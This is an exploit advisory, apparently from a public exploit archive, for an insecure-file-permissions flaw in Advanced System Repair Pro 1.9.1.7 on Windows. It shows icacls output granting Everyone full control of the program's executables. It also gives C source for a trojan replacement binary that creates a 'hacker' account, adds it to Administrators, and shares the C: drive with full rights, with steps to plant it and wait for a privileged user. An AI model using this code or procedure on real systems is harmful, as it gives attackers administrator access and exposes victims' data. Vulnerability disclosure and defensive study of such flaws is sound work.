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Advanced System Repair Pro 1.9.1.7 Insecure File Permissions

Advanced System Repair Pro 1.9.1.7 Insecure File Permissions
Posted Jan 13, 2020
Authored by ZwX

Advanced System Repair Pro version 1.9.1.7 suffers from an insecure file permissions vulnerability.

tags | exploit
MD5 | e916bb80b94353ab6da26b1f46ca3d2b

Advanced System Repair Pro 1.9.1.7 Insecure File Permissions

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# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2020-01-12
# Vendor Homepage : https://advancedsystemrepair.com/
# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe
# Tested on OS: Windows 10


# Proof of Concept (PoC):
==========================

C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe
AdvancedSystemRepairPro.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)

dsutil.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)

tscmon.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)


#Exploit code(s):
=================

1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"

#include<windows.h>

int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);
return 0;
}

2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"
3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory
4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE.
Privilege Successful Escalation
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